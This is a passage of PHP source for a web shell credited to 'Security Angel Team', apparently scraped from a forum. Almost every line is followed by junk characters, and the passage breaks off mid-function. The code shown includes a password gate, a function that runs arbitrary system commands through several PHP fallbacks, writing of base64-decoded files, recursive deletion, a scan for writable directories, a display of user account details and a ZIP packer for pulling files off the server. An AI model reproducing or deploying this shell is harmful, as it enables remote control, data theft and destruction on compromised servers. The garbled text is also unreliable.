1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      
1287.         }
      " N; Y" o$ a/ J2 z7 L
1288. 
      * N8 z# D9 r5 j& ?5 Y. X8 i& t( `" V
1289.         formhead(array('title'=>'Server environment'));
      
1290.         makehide('action','phpenv');
      5 F) z' F/ \% N/ O
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      : v2 g% I& v2 N' ?
1292.         formfooter();
      , y7 ]: v2 `/ t9 V( J
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      
1295.         for($a=0;$a<2;$a++) {
      1 f1 ^, f  h1 n
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      1 @$ u1 P: F3 e1 |
1297.                 p('<ul class="info">');
      + Q  A! B8 x; |- ?* Z; s$ O
1298.                 if ($a==0) {
      
1299.                         for($i=1;$i<=9;$i++) {
      
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      
1302.                 } elseif ($a == 1) {
      , R. ~* H, V% d0 E2 C
1303.                         for($i=10;$i<=23;$i++) {
      + R0 y* H3 |- y  S' i
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1305.                         }
      3 g: |1 n8 U6 I6 o# \. ~9 ^* N
1306.                 }
      , |! v, [' V  [+ D% z5 s& R3 f
1307.                 p('</ul>');
      
1308.         }
      
1309. }//end phpenv
      
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      
1313. }
      7 m4 B& q1 j6 `1 h
1314. 
      
1315. ?>
      * R3 U" U1 Y0 A; }9 v. B
1316. </td></tr></table>
      $ {( O4 Y1 y% g( W* q
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      , _5 P5 F- z$ J/ B3 Q7 }
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      ; g" |3 X" ?& k. _; P2 h
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      ( {% H% ]. Z9 c' X# n: _
1320. </div>
      
1321. </body>
      
1322. </html>
      
1323. 
      
1324. <?php
      
1325. 
      2 t0 L# j, h5 D' \: y
1326. /*======================================================
      
1327. 函数库
      * I  H: |' ]: e3 M+ u! P  \6 G5 ?
1328. ======================================================*/
      : O" P+ Z1 W2 p+ u& I
1329. 
      
1330. function m($msg) {
      
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      
1332.         echo $msg;
      
1333.         echo '</div>';
      
1334. }
      
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      5 H0 b0 s0 C$ A- W  J$ r
1338.         $life = $life ? $life : $admin['cookielife'];
      . N# ~0 g& h1 t# O1 Z; q* D
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      4 G  B; ^; B  l1 D) Q3 E
1341. }       
      
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      
1345.                 $page = 10;
      
1346.                 $offset = 5;
        ^+ `6 u4 b& [: ^; U
1347.                 $pages = @ceil($num / $perpage);
      6 `" W* ]3 M$ `0 U% A( b
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      ; {" Z! w  r, b+ G0 q. l/ [
1350.                         $to = $pages;
      + M4 z: p4 S9 W8 K
1351.                 } else {
      " K% o$ l2 d2 A2 i( N, T
1352.                         $from = $curpage - $offset;
      
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      / P+ [1 j+ D5 M/ e
1355.                                 $to = $curpage + 1 - $from;
      4 M8 _+ W  y# P( d8 z5 `4 E/ }8 h
1356.                                 $from = 1;
        i9 a" v3 e; J, ]" U& F
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      
1359.                                 }
      ( q" V& \1 ]5 b' \6 `
1360.                         } elseif($to > $pages) {
      8 v4 e3 l2 z$ k1 U5 \  {3 ?$ u
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      0 a6 }+ G0 e& f: d0 Q
1365.                                 }
      , H9 t& f6 E5 ]( ^' V, E9 [2 y
1366.                         }
      
1367.                 }
      / ~; y# |) Y: M+ G
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      
1369.                 for($i = $from; $i <= $to; $i++) {
      8 P" Y: W/ P$ s. p& Y; F
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      5 E5 ]' e/ d' J, ~0 D! \4 }
1371.                 }
      
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      
1374.         }
      $ V' k8 i/ b7 l* @7 h4 n7 e% n
1375.         return $multipage;
      
1376. }
      
1377. // 登陆入口
      % w% i( B* d5 f3 l: K; I3 x
1378. function loginpage() {
      
1379. ?>
      
1380.         <style type="text/css">
      5 n5 [5 k# n$ q5 G/ ^  n
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      ' q$ D: R7 \+ L
1382.         </style>
      
1383.         <form method="POST" action="">
      ! E2 H% R2 {) x& m
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      
1385.         <input type="hidden" name="doing" value="login">
      , M$ T* v2 e3 n  f! ]3 P! d
1386.         <input type="submit" value="Login">
      ' M; ^5 h: J7 k8 [: V% J! }# s
1387.         </form>
      & V/ z& j( ]/ P
1388. <?php
      5 w  C  e( H& N* S7 k( M6 t7 s
1389.         exit;
      
1390. }//end loginpage()
      ) N3 e* ?" B5 k6 z+ e8 {
1391. 
      ' x5 F8 y1 Q2 R, b
1392. function execute($cfe) {
      0 W( k. F4 Z6 b; `* [
1393.         $res = '';
      " C- r8 B$ v0 G: ]4 z9 E% j1 [( f
1394.         if ($cfe) {
      
1395.                 if(function_exists('exec')) {
      ! G, ?0 f" C: k3 p
1396.                         @exec($cfe,$res);
      ; \+ M) v& Q, k' t" Z7 W, O
1397.                         $res = join("\n",$res);
      ; ^; K+ I! Q8 ]/ Q
1398.                 } elseif(function_exists('shell_exec')) {
      
1399.                         $res = @shell_exec($cfe);
      4 t9 l7 u9 s) s* n+ L
1400.                 } elseif(function_exists('system')) {
      : a( x2 b4 s  C! b
1401.                         @ob_start();
      + e# d) X4 Q1 E$ T
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
      
1404.                         @ob_end_clean();
      $ ]) R3 r5 T3 W2 Z, o3 N* g2 B
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      # V2 t1 r+ M; K0 e
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      7 J5 o# D3 ]7 ^6 ?
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      ( T! ~# K/ ~( V7 q3 l% i
1413.                                 $res .= @fread($f,1024);
      
1414.                         }
      ) m1 V$ f: c: s6 J  N. K
1415.                         @pclose($f);
      6 w! g* E4 X! Q5 K( T
1416.                 }
      * S5 j4 N" B1 n9 P
1417.         }
      
1418.         return $res;
      
1419. }
      
1420. function which($pr) {
      
1421.         $path = execute("which $pr");
      
1422.         return ($path ? $path : $pr);
      8 Z4 ^' l3 a9 S5 z+ r
1423. }
      
1424. 
      / W! ^+ N& |$ g' `
1425. function cf($fname,$text){
      $ _2 _1 Z( {4 {# i' K5 Z4 }3 N
1426.         if($fp=@fopen($fname,'w')) {
      / {/ B4 P/ f. [; a$ R8 X
1427.                 @fputs($fp,@base64_decode($text));
      
1428.                 @fclose($fp);
      
1429.         }
      " [: b( H* a1 a# U7 }, K
1430. }
      
1431. 
      
1432. // 页面调试信息
      
1433. function debuginfo() {
      0 o! v- X& S3 m. V3 ^
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
      3 n3 Z- B% d$ \5 r4 j
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      * ^' `9 q8 U6 [- d; t& p& r
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      . f7 Z- \$ P/ Z- h" E2 Y7 B5 }
1439. 
      4 v- R' h0 L  v9 A0 s
1440. //连接数据库
        t9 ~2 {4 ^$ `  E2 K# ~
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      ! r- y2 F/ ~, Z$ {2 K
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      + k, R, ]# y4 O: |+ D" i0 Z+ L
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      8 z) \# W, f1 j7 q! x1 l
1444.                 exit;
      
1445.         }
      
1446.         if($link && $dbname) {
      
1447.                 if (!@mysql_select_db($dbname, $link)) {
      
1448.                         p('<h2>Database selected has error</h2>');
      
1449.                         exit;
      7 g" W  k% |9 I- k& e
1450.                 }
      / e8 }; ?: }7 Y) o% t. {1 W1 E* p: C
1451.         }
      
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      $ I% D% ]1 v4 Y, q6 y9 c' p& c
1455.                 }
      
1456.         }
      + }% Y# d! M3 {$ V
1457.         return $link;
      $ ?8 C  P) A$ g4 I' x$ N
1458. }
      
1459. 
      
1460. // 去掉转义字符
      ( Z0 y7 `. M* h; h0 Q6 J# x5 I! @" J* H
1461. function s_array(&$array) {
      
1462.         if (is_array($array)) {
      ; z. H, G9 b2 G, N
1463.                 foreach ($array as $k => $v) {
      . L3 P5 ?! s5 t8 Q7 z1 k, k! U
1464.                         $array[$k] = s_array($v);
      
1465.                 }
      
1466.         } else if (is_string($array)) {
      $ @! f1 [6 F/ ^% `
1467.                 $array = stripslashes($array);
      
1468.         }
      
1469.         return $array;
      
1470. }
      * l4 S  t2 V/ s2 |' A% m7 s
1471. 
      6 e3 i  H3 Q0 S0 @+ l% N" U
1472. // 清除HTML代码
      
1473. function html_clean($content) {
      $ Z0 ]9 W9 e7 g2 R
1474.         $content = htmlspecialchars($content);
      ( D6 Z4 }2 q- I+ r! `
1475.         $content = str_replace("\n", "<br />", $content);
      
1476.         $content = str_replace("  ", "  ", $content);
      & E+ v8 R) I5 p) @1 B
1477.         $content = str_replace("\t", "    ", $content);
      & \. O) Q& I) B
1478.         return $content;
      
1479. }
      
1480. 
      8 o! s5 l, S# u( [) B6 |
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      & `6 b6 h- R: B  V# e' Z1 p7 V6 c8 F7 ]' Q
1484. }
      3 o, \; P% o4 g: T6 _; j
1485. 
      1 @% y3 @' I  f3 C
1486. function getPerms($filepath) {
      
1487.         $mode = @fileperms($filepath);
      ' m" O* t" i3 B5 q, D' z1 w
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      8 ?& L) n3 U: K
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      / h- d% ?/ k1 T
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      # K6 Z9 Y: n' q7 G
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      " m- q% E5 a$ {. m3 M
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      
1495.         else {$type = '?';}
      1 `+ m0 O4 |1 K
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      1 k& {4 F# I. Z
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      7 [% i4 F& S4 y% T6 R& H* r
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      5 u; s# a2 {0 ]: [& u1 Y0 g
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
        H# ~) [" x. H
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      1 v7 K) k! j7 \" k6 [) {
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      * t' }3 R# x; x+ f7 T! z! J+ I, C
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      ; M3 P9 A3 ^6 g5 L5 d
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      4 u! j- J0 G/ ?/ Y9 s5 _' }
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      4 |& @* d1 o- U% E; k
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      & n8 k# h8 g6 {1 ~' M3 ^. q9 a( Z4 X
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      
1512. }
      
1513. 
      
1514. function getUser($filepath)        {
      6 \+ P/ [- s7 P" y# k
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      # r  ^: g; S& i3 O# k
1517.                 if ($array && is_array($array)) {
      * v0 A4 q; m3 Q+ \
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      4 p2 n; O% i( z5 _; J+ t/ d
1519. Passwd: '.$array['passwd'].'
      7 x3 M, Z4 Q% K/ i6 _; [
1520. Uid: '.$array['uid'].'
      ; N7 o/ x9 i1 X! N8 o' |+ w
1521. gid: '.$array['gid'].'
      6 F7 ]: r$ m9 i2 g/ v8 @
1522. Gecos: '.$array['gecos'].'
      5 i% [) ]3 d' }- J2 T. k5 H. ]
1523. Dir: '.$array['dir'].'
      - B7 e0 l( U- G1 T6 `' L% a) f
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      3 e! U- N5 [0 ^$ _! i6 W
1525.                 }
      
1526.         }
      
1527.         return '';
      
1528. }
      / o* x& ^4 y% i
1529. 
      $ H1 K! e0 z: m8 p
1530. // 删除目录
      7 x) ^* w! g0 [# R. b3 g; c1 T
1531. function deltree($deldir) {
      - Y& N% h1 W5 a, s5 H
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      
1535.                         @chmod($deldir.'/'.$file,0777);
      
1536.                         deltree($deldir.'/'.$file);
      , }8 a( U  D$ \$ F8 T& I
1537.                 }
      
1538.                 if (is_file($deldir.'/'.$file)) {
      
1539.                         @chmod($deldir.'/'.$file,0777);
      3 G2 n3 I  _9 U- V( K" T
1540.                         @unlink($deldir.'/'.$file);
      , _" o  j. A6 F* w: O
1541.                 }
      
1542.         }
      # Z" t. r/ m( v
1543.         $mydir->close();
      + G2 A  N5 l0 I( _2 _3 m- _7 s
1544.         @chmod($deldir,0777);
      
1545.         return @rmdir($deldir) ? 1 : 0;
      
1546. }
      
1547. 
      
1548. // 表格行间的背景色替换
      * q9 D' \9 B# c+ {+ }7 k
1549. function bg() {
      
1550.         global $bgc;
      % S, n6 Z1 n% m, d; o5 s* d
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      
1553. 
      . J- W3 _: _# T7 P
1554. // 获取当前的文件系统路径
      
1555. function getPath($scriptpath, $nowpath) {
      
1556.         if ($nowpath == '.') {
      
1557.                 $nowpath = $scriptpath;
      
1558.         }
      
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      
1561.         if (substr($nowpath, -1) != '/') {
      * T1 K2 Y, n4 Y  r0 @
1562.                 $nowpath = $nowpath.'/';
      . @( Y( i( w6 I5 A3 h8 r
1563.         }
      + T8 l  q3 L' K
1564.         return $nowpath;
      $ g7 X. _; \$ S* \0 u1 D4 X, j
1565. }
      
1566. 
      2 @4 M4 ?! ^! w* G1 Y
1567. // 获取当前目录的上级目录
      
1568. function getUpPath($nowpath) {
      7 e) I3 l& g$ k# t$ n- N. g' l
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      5 n" N  Z) }( @" c+ [
1571.         if ($num > 2) {
      " k! j2 v& A/ @& T9 \( w8 k9 x
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      % y9 s1 G+ w, ~0 }4 g
1573.         }
      
1574.         $uppath = implode('/', $pathdb).'/';
      
1575.         $uppath = str_replace('//', '/', $uppath);
      & ~2 j! U/ ^- X; r& @, f( U
1576.         return $uppath;
      0 Q; J' j( {2 G
1577. }
      
1578. 
      $ L+ I+ e1 O1 _# r; Y; x
1579. // 检查PHP配置参数
      
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      5 g% X9 ^3 O5 G0 A  @4 t3 r
1582.         if ($result == 0) {
      & |4 o# B( B1 ]* w  d, C: P" @
1583.                 return 'No';
      
1584.         } elseif ($result == 1) {
      8 F8 b6 K5 n7 j; D& d& |
1585.                 return 'Yes';
      
1586.         } else {
      
1587.                 return $result;
      0 A! {0 k9 k9 k
1588.         }
      
1589. }
      
1590. 
      
1591. // 检查函数情况
      8 i' c! j7 m2 l! ]. Q0 V
1592. function getfun($funName) {
      
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      * a1 W+ |$ d* ^- P( c3 t
1594. }
      
1595. 
        C' L$ o  z( _( E5 I" T, X! X
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      
1598.         !$j && $j=1;
      ) T( x& l" e0 r2 f
1599.         if ($dh = opendir($dir)) {
      0 I0 P% m8 i5 |5 ~7 B1 z% Q# ~
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      + q; r' p3 c5 J# ?2 b' T) K; ~. P
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      / n) a/ l3 o0 \, h
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      
1609.                                         $dirdata[$j]['server_link']=$f;
      
1610.                                         $dirdata[$j]['client_link']=ue($f);
      
1611.                                         $j++;
      8 b: Q- P1 Z& @; `9 w
1612.                                 }
      
1613.                                 GetList($f);
      
1614.                         }
      3 z5 F; J1 O  F1 A( m# S4 l
1615.                 }
      
1616.                 closedir($dh);
      
1617.                 clearstatcache();
      , \" F& O8 x0 J; E* V
1618.                 return $dirdata;
      , s- d6 K" C, n% s6 i% ?
1619.         } else {
      
1620.                 return array();
      5 `; N: P& K: u9 ]5 R3 m4 j, N1 t
1621.         }
      , I: l  T  @' V
1622. }
      
1623. 
      
1624. function qy($sql) {
      7 E8 i. I7 z5 y* l
1625.         //echo $sql.'<br>';
      : w3 b1 C3 n+ H6 I) _
1626.         $res = $error = '';
      0 }0 s& e" N" `0 z8 W( d3 i  i
1627.         if(!$res = @mysql_query($sql)) {
      
1628.                 return 0;
      
1629.         } else if(is_resource($res)) {
      # }& I. e* z2 v. c! t
1630.                 return 1;
      * X( }2 o9 P, u. \4 C5 Y- x" j
1631.         } else {
      
1632.                 return 2;
      0 B9 [" s0 y- o) L. d
1633.         }       
      
1634.         return 0;
      
1635. }
      7 D4 F, `8 l: M; u. v; }4 l
1636. 
      
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      ( K- }4 Y$ L) @" {
1639. }
      
1640. 
      
1641. function fr($qy){
      & f% ~6 c' D* r3 C2 {6 u4 i
1642.         mysql_free_result($qy);
      : o& }, a# t, i
1643. }
        V0 w( ?8 Y* K; K# g5 b
1644. 
      
1645. function sizecount($size) {
      : a) n, Z3 l0 I, E2 E: K) n) w
1646.         if($size > 1073741824) {
      $ C. Y" C! K5 a) c# H
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      ) K: @7 R" Y0 A6 O
1652.         } else {
      3 P- C0 r6 T7 t
1653.                 $size = $size . ' B';
      % E8 x- }4 i7 D5 y4 q7 }9 d
1654.         }
      - ?  R$ ]- J4 W& D' h
1655.         return $size;
      
1656. }
      ; x8 J  @6 P  T
1657. 
      ; f1 J; y+ n$ J3 _1 W3 f2 O6 I" O
1658. // 压缩打包类
      - j  L/ i% M; h; d( F$ H
1659. class PHPZip{
      0 ~# L3 j- G" _" ^0 k! a
1660.         var $out='';
      9 m) b1 H8 ]) Y  f, D2 p& P! i, P! P
1661.         function PHPZip($dir)        {
      0 h! ?6 p7 o/ q4 t* ]' ~) h  D
1662.                 if (@function_exists('gzcompress'))        {
      
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      5 T! z& t6 v6 L. ^
1665.                         else{
      6 ]' @' }9 q4 n/ i. ^0 v9 ~
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      ! T4 ?; |# c: s8 c4 Y: f
1668.                         }
      
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
      & O# M8 N8 k2 Z8 v% X7 g
1671.                         if (count($filelist)>0){
      
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      
1674.                                                 $fd = fopen ($filename, 'r');
      * M/ W; B  R  a( P: R0 R, S8 c
1675.                                                 $content = @fread ($fd, filesize($filename));
      
1676.                                                 fclose ($fd);
      + e% l5 L$ N) L3 @; Y7 E6 x$ k
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      2 E6 S- h1 `$ q7 O
1679.                                         }
      0 [3 }9 y# Y) }7 ^+ v0 Z6 ~( B$ [
1680.                                 }
      0 m+ ]* d5 U. d3 M. O
1681.                                 $this->out = $this -> file();
      % d: q5 |; ^' s1 h) o& h8 ~2 `
1682.                                 chdir($curdir);
      
1683.                         }
      
1684.                         return 1;
      , l% ^! _. e8 G7 Q4 ~2 a
1685.                 }
      % Y3 i& u* [: S& p5 o! H3 f
1686.                 else return 0;
      
1687.         }
      
1688. 
      
1689.         // 获得指定目录文件列表
      
1690.         function GetFileList($dir){
      " r" z" o4 j$ n4 |' j1 ^
1691.                 static $a;
      
1692.                 if (is_dir($dir)) {
      " U/ q  X7 W0 Q9 z
1693.                         if ($dh = opendir($dir)) {
      
1694.                                 while ($file = readdir($dh)) {
      
1695.                                         if($file!='.' && $file!='..'){
      1 k) p5 C, O2 y+ `0 o1 \2 S
1696.                                                 $f=$dir .'/'. $file;
      3 n+ n9 p  ^& G! c
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      : T+ ]1 |% w# G
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
        c' R% X: x% g% K: y" L
1701.                                 closedir($dh);
      
1702.                         }
      
1703.                 }
      : h+ M2 d  r) \1 C1 _
1704.                 return $a;
      
1705.         }
      & M; {& V) A8 Q6 z7 @! O
1706. 
      , ~' ], v: T" F  w% \$ y# D
1707.         var $datasec      = array();
      % z) V8 C% V, X* ]$ b' r* K) _
1708.         var $ctrl_dir     = array();
      1 I: z6 U6 Z! C, ?
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      2 c9 e" b! @$ f& h! X  s
1710.         var $old_offset   = 0;
      
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      / S/ X+ y2 w; ^# t) I/ o
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      
1714.                 if ($timearray['year'] < 1980) {
      % \" U. S* L' r% X- R- l4 a0 Q+ {
1715.                         $timearray['year']    = 1980;
      " u' n  u$ D. C
1716.                         $timearray['mon']     = 1;
      2 l& \9 Q4 X7 Y0 e0 L( F
1717.                         $timearray['mday']    = 1;
      & E& _  ^0 [4 s# B* r
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      ; Q; `- g. I5 i* a, G) m) h
1720.                         $timearray['seconds'] = 0;
      5 E% d; u5 ^5 m/ k1 @1 w
1721.                 } // end if
      
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      + w: f- ~5 s7 h" H
1724.         }
      7 r2 e5 K: r+ }9 N! W. t
1725.         function addFile($data, $name, $time = 0) {
      * }4 E3 x  v! j9 r
1726.                 $name = str_replace('\\', '/', $name);
      ! V9 U# `8 }% Y6 R4 j+ k
1727.                 $dtime = dechex($this->unix2DosTime($time));
      4 R) ~8 b+ Y5 S1 i4 |9 W! K
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      ' v# A7 j$ h; d# {( E) n
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      : \, h$ D( Q" O
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      . d- y% S6 M4 x- s
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
        f4 h1 H/ w# |& p5 u- `% u- y
1733.                 $fr        = "\x50\x4b\x03\x04";
      
1734.                 $fr        .= "\x14\x00";
      
1735.                 $fr        .= "\x00\x00";
      3 Y% w0 I/ w: a
1736.                 $fr        .= "\x08\x00";
      - Q7 X( r3 U1 F; ?" s; ^
1737.                 $fr        .= $hexdtime;
      1 e9 r" ?# {+ O: E6 {
1738.                 $unc_len = strlen($data);
      
1739.                 $crc = crc32($data);
      
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      # Q/ z) z3 h4 J
1743.                 $fr .= pack('V', $crc);
      
1744.                 $fr .= pack('V', $c_len);
      ) j6 m% a7 G6 V  T
1745.                 $fr .= pack('V', $unc_len);
      , s( i7 O9 `3 p2 T) B+ f
1746.                 $fr .= pack('v', strlen($name));
      4 K( M, @3 S8 j* @" i3 `
1747.                 $fr .= pack('v', 0);
      5 J; _, I# [/ C( k
1748.                 $fr .= $name;
      
1749.                 $fr .= $zdata;
      ( F$ S" J# m% G% D
1750.                 $fr .= pack('V', $crc);
      
1751.                 $fr .= pack('V', $c_len);
      ; l6 q" b9 k0 n
1752.                 $fr .= pack('V', $unc_len);
      % L. w) B1 C/ l! c9 m$ `
1753.                 $this -> datasec[] = $fr;
      2 r- n% P+ l0 F- g
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      * G, {$ m, S- M* c+ Y) w2 a; `
1756.                 $cdrec .= "\x00\x00";
      8 H( Q1 g( O/ K5 l: Y/ R
1757.                 $cdrec .= "\x14\x00";
      
1758.                 $cdrec .= "\x00\x00";
      
1759.                 $cdrec .= "\x08\x00";
      ) q2 c0 f% ?  b' ]
1760.                 $cdrec .= $hexdtime;
      / u/ }$ J9 F# d6 f% x
1761.                 $cdrec .= pack('V', $crc);
      - u/ _. w$ p" G$ ]
1762.                 $cdrec .= pack('V', $c_len);
      
1763.                 $cdrec .= pack('V', $unc_len);
      : R" w( a: |" k2 f7 v
1764.                 $cdrec .= pack('v', strlen($name) );
      
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      
1767.                 $cdrec .= pack('v', 0 );
      
1768.                 $cdrec .= pack('v', 0 );
      # `" C8 M7 D4 B4 Z
1769.                 $cdrec .= pack('V', 32 );
        U6 |) x2 R* Y
1770.                 $cdrec .= pack('V', $this -> old_offset );
      
1771.                 $this -> old_offset = $new_offset;
      0 M9 F; g, e1 R- `, \3 u6 H
1772.                 $cdrec .= $name;
      
1773.                 $this -> ctrl_dir[] = $cdrec;
      
1774.         }
      
1775.         function file() {
        h' b) U! f$ R- d
1776.                 $data    = implode('', $this -> datasec);
      9 {6 w$ W: f+ o/ ^+ K  |) Z
